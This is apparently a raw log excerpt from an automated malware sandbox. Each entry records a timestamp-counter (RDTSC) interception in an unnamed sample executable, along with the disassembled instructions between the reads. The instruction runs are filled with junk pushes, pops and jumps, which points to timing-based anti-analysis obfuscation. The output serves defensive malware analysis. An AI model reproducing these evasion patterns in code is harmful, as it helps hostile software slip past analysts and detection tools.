Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50A13 second address: 4A50A26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a mov ax, FDDFh 0x0000000e push eax 0x0000000f push edx 0x00000010 movzx esi, dx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50A26 second address: 4A50A48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F625CED05C6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50A48 second address: 4A50A85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF246Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F625CDF2474h 0x00000012 xor ax, 51D8h 0x00000017 jmp 00007F625CDF246Bh 0x0000001c popfd 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50A85 second address: 4A50AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pop ebp 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F625CED05BDh 0x00000010 add cl, 00000076h 0x00000013 jmp 00007F625CED05C1h 0x00000018 popfd 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50AB4 second address: 4A50AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00010 second address: 4A00014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00014 second address: 4A0001A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0001A second address: 4A00020 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00020 second address: 4A00024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00024 second address: 4A00028 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00028 second address: 4A000AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F625CDF2476h 0x00000013 sbb ecx, 383E21F8h 0x00000019 jmp 00007F625CDF246Bh 0x0000001e popfd 0x0000001f popad 0x00000020 movzx eax, bx 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 pushad 0x00000027 mov cx, dx 0x0000002a pushfd 0x0000002b jmp 00007F625CDF246Dh 0x00000030 and ch, FFFFFF96h 0x00000033 jmp 00007F625CDF2471h 0x00000038 popfd 0x00000039 popad 0x0000003a and esp, FFFFFFF8h 0x0000003d pushad 0x0000003e mov esi, 506054A3h 0x00000043 mov edi, ecx 0x00000045 popad 0x00000046 xchg eax, ecx 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F625CDF2471h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A000AD second address: 4A0011D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F625CED05C1h 0x0000000f xchg eax, ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F625CED05C3h 0x00000019 and ax, 4A8Eh 0x0000001e jmp 00007F625CED05C9h 0x00000023 popfd 0x00000024 call 00007F625CED05C0h 0x00000029 pop esi 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0011D second address: 4A00146 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 21EB99DDh 0x00000008 mov edx, esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebx 0x0000000e jmp 00007F625CDF2474h 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00146 second address: 4A00162 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00162 second address: 4A001FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F625CDF2471h 0x00000009 xor cl, 00000036h 0x0000000c jmp 00007F625CDF2471h 0x00000011 popfd 0x00000012 movzx eax, di 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebx 0x00000019 pushad 0x0000001a push ebx 0x0000001b pushfd 0x0000001c jmp 00007F625CDF2474h 0x00000021 or eax, 3EDB7E88h 0x00000027 jmp 00007F625CDF246Bh 0x0000002c popfd 0x0000002d pop esi 0x0000002e jmp 00007F625CDF2479h 0x00000033 popad 0x00000034 mov ebx, dword ptr [ebp+10h] 0x00000037 pushad 0x00000038 mov cl, FFh 0x0000003a mov edx, 01D3512Ch 0x0000003f popad 0x00000040 push ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F625CDF2477h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A001FD second address: 4A002B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F625CED05BFh 0x00000009 adc cx, 758Eh 0x0000000e jmp 00007F625CED05C9h 0x00000013 popfd 0x00000014 jmp 00007F625CED05C0h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov dword ptr [esp], esi 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F625CED05BEh 0x00000026 and al, 00000038h 0x00000029 jmp 00007F625CED05BBh 0x0000002e popfd 0x0000002f pushfd 0x00000030 jmp 00007F625CED05C8h 0x00000035 jmp 00007F625CED05C5h 0x0000003a popfd 0x0000003b popad 0x0000003c mov esi, dword ptr [ebp+08h] 0x0000003f pushad 0x00000040 jmp 00007F625CED05BCh 0x00000045 mov ax, 64D1h 0x00000049 popad 0x0000004a xchg eax, edi 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e mov edi, 42AF0B3Ch 0x00000053 push edi 0x00000054 pop ecx 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A002B5 second address: 4A0031C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F625CDF246Ah 0x0000000b xor ecx, 4FED2258h 0x00000011 jmp 00007F625CDF246Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F625CDF246Fh 0x00000022 add ecx, 3BFB891Eh 0x00000028 jmp 00007F625CDF2479h 0x0000002d popfd 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F625CDF246Eh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0031C second address: 4A0033C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, edi 0x0000000b pushad 0x0000000c mov al, 96h 0x0000000e push eax 0x0000000f push edx 0x00000010 mov ax, dx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0033C second address: 4A00377 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F625CDF2475h 0x00000008 sub cx, 3366h 0x0000000d jmp 00007F625CDF2471h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 test esi, esi 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b movsx edx, cx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00377 second address: 4A00392 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F625CED05C7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00392 second address: 4A00396 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00396 second address: 4A003CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F62CF3FE82Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F625CED05BDh 0x00000017 and ax, F4D6h 0x0000001c jmp 00007F625CED05C1h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A003CD second address: 4A003F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF2471h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F625CDF246Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A003F8 second address: 4A00434 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, BD72h 0x00000007 mov edi, 59863EBEh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f je 00007F62CF3FE7DAh 0x00000015 jmp 00007F625CED05C5h 0x0000001a mov edx, dword ptr [esi+44h] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F625CED05BDh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00434 second address: 4A004D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 pushfd 0x00000006 jmp 00007F625CDF2473h 0x0000000b sbb ecx, 1677D97Eh 0x00000011 jmp 00007F625CDF2479h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a or edx, dword ptr [ebp+0Ch] 0x0000001d pushad 0x0000001e mov ebx, ecx 0x00000020 mov ecx, 13BE88BFh 0x00000025 popad 0x00000026 test edx, 61000000h 0x0000002c jmp 00007F625CDF2472h 0x00000031 jne 00007F62CF32065Ah 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a mov ax, dx 0x0000003d pushfd 0x0000003e jmp 00007F625CDF2479h 0x00000043 or esi, 70A267C6h 0x00000049 jmp 00007F625CDF2471h 0x0000004e popfd 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A004D3 second address: 4A004D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0746 second address: 49F07AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF2479h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov eax, 00FED503h 0x00000010 push esi 0x00000011 pushfd 0x00000012 jmp 00007F625CDF246Fh 0x00000017 or ax, 1BAEh 0x0000001c jmp 00007F625CDF2479h 0x00000021 popfd 0x00000022 pop ecx 0x00000023 popad 0x00000024 push eax 0x00000025 pushad 0x00000026 mov al, F8h 0x00000028 movsx ebx, si 0x0000002b popad 0x0000002c xchg eax, ebp 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F07AB second address: 49F07AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F07AF second address: 49F07B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F07B5 second address: 49F07FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov cl, 1Ah 0x0000000e mov edi, 4135071Eh 0x00000013 popad 0x00000014 and esp, FFFFFFF8h 0x00000017 jmp 00007F625CED05C5h 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov si, di 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F07FA second address: 49F07FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F07FF second address: 49F0890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F625CED05C3h 0x00000011 and eax, 6E5601DEh 0x00000017 jmp 00007F625CED05C9h 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007F625CED05C0h 0x00000023 sbb cl, FFFFFFD8h 0x00000026 jmp 00007F625CED05BBh 0x0000002b popfd 0x0000002c popad 0x0000002d xchg eax, ebx 0x0000002e jmp 00007F625CED05C6h 0x00000033 xchg eax, esi 0x00000034 pushad 0x00000035 mov cl, 98h 0x00000037 mov ch, dl 0x00000039 popad 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F625CED05C0h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0890 second address: 49F08B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF246Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov bx, cx 0x0000000e mov cx, F647h 0x00000012 popad 0x00000013 mov esi, dword ptr [ebp+08h] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov si, dx 0x0000001c mov si, di 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F08B6 second address: 49F08CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F08CE second address: 49F08D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F08D4 second address: 49F0999 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F625CED05BBh 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007F625CED05C9h 0x0000000f sbb ah, FFFFFFF6h 0x00000012 jmp 00007F625CED05C1h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b test esi, esi 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F625CED05BCh 0x00000024 adc cl, 00000018h 0x00000027 jmp 00007F625CED05BBh 0x0000002c popfd 0x0000002d pushfd 0x0000002e jmp 00007F625CED05C8h 0x00000033 sub al, 00000078h 0x00000036 jmp 00007F625CED05BBh 0x0000003b popfd 0x0000003c popad 0x0000003d je 00007F62CF405FE7h 0x00000043 jmp 00007F625CED05C6h 0x00000048 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F625CED05C7h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0999 second address: 49F09F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F625CDF246Fh 0x00000008 pushfd 0x00000009 jmp 00007F625CDF2478h 0x0000000e jmp 00007F625CDF2475h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov ecx, esi 0x00000019 pushad 0x0000001a mov bh, al 0x0000001c mov bh, 3Bh 0x0000001e popad 0x0000001f je 00007F62CF327E24h 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F09F1 second address: 49F09F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F09F5 second address: 49F09FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F09FB second address: 49F0A01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0A01 second address: 49F0A05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0A05 second address: 49F0A2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test byte ptr [76FB6968h], 00000002h 0x0000000f pushad 0x00000010 mov ch, 80h 0x00000012 mov esi, ebx 0x00000014 popad 0x00000015 jne 00007F62CF405F52h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F625CED05BAh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0A2C second address: 49F0AC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF246Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d pushad 0x0000000e mov ebx, eax 0x00000010 pushfd 0x00000011 jmp 00007F625CDF246Eh 0x00000016 add ah, FFFFFFE8h 0x00000019 jmp 00007F625CDF246Bh 0x0000001e popfd 0x0000001f popad 0x00000020 jmp 00007F625CDF2478h 0x00000025 popad 0x00000026 xchg eax, ebx 0x00000027 jmp 00007F625CDF2470h 0x0000002c push eax 0x0000002d pushad 0x0000002e mov bh, 81h 0x00000030 mov ebx, ecx 0x00000032 popad 0x00000033 xchg eax, ebx 0x00000034 pushad 0x00000035 call 00007F625CDF2472h 0x0000003a movzx ecx, bx 0x0000003d pop edi 0x0000003e call 00007F625CDF246Ch 0x00000043 push ecx 0x00000044 pop edx 0x00000045 pop esi 0x00000046 popad 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0AC1 second address: 49F0AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0AC5 second address: 49F0AD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF246Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0B96 second address: 49F0BA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 mov bh, 42h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov esp, ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f movzx esi, bx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00E3C second address: 4A00E42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00E42 second address: 4A00EA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx esi, dx 0x0000000e pushad 0x0000000f mov dx, B402h 0x00000013 jmp 00007F625CED05C3h 0x00000018 popad 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c jmp 00007F625CED05C6h 0x00000021 pop ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F625CED05C7h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00BFF second address: 4A00C0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F625CDF246Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00C0F second address: 4A00C21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edi 0x0000000d pop eax 0x0000000e movsx ebx, cx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00C21 second address: 4A00C5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF2477h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F625CDF2476h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80774 second address: 4A80791 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80791 second address: 4A80797 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80797 second address: 4A807D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F625CED05BBh 0x00000014 call 00007F625CED05C8h 0x00000019 pop eax 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A807D9 second address: 4A8084A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F625CDF246Eh 0x00000009 adc si, F2B8h 0x0000000e jmp 00007F625CDF246Bh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F625CDF2478h 0x0000001a xor esi, 63712D18h 0x00000020 jmp 00007F625CDF246Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 push eax 0x0000002a jmp 00007F625CDF2479h 0x0000002f xchg eax, ebp 0x00000030 pushad 0x00000031 mov al, C0h 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A708CD second address: 4A708D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A708D1 second address: 4A708D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A101CE second address: 4A101EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A101EB second address: 4A10207 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF2471h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10207 second address: 4A10221 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10221 second address: 4A10239 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF246Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ax, BCCBh 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10239 second address: 4A10247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov ebp, esp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10247 second address: 4A1024B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1024B second address: 4A10260 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10260 second address: 4A10272 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ax, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10272 second address: 4A10282 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70AA7 second address: 4A70AAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
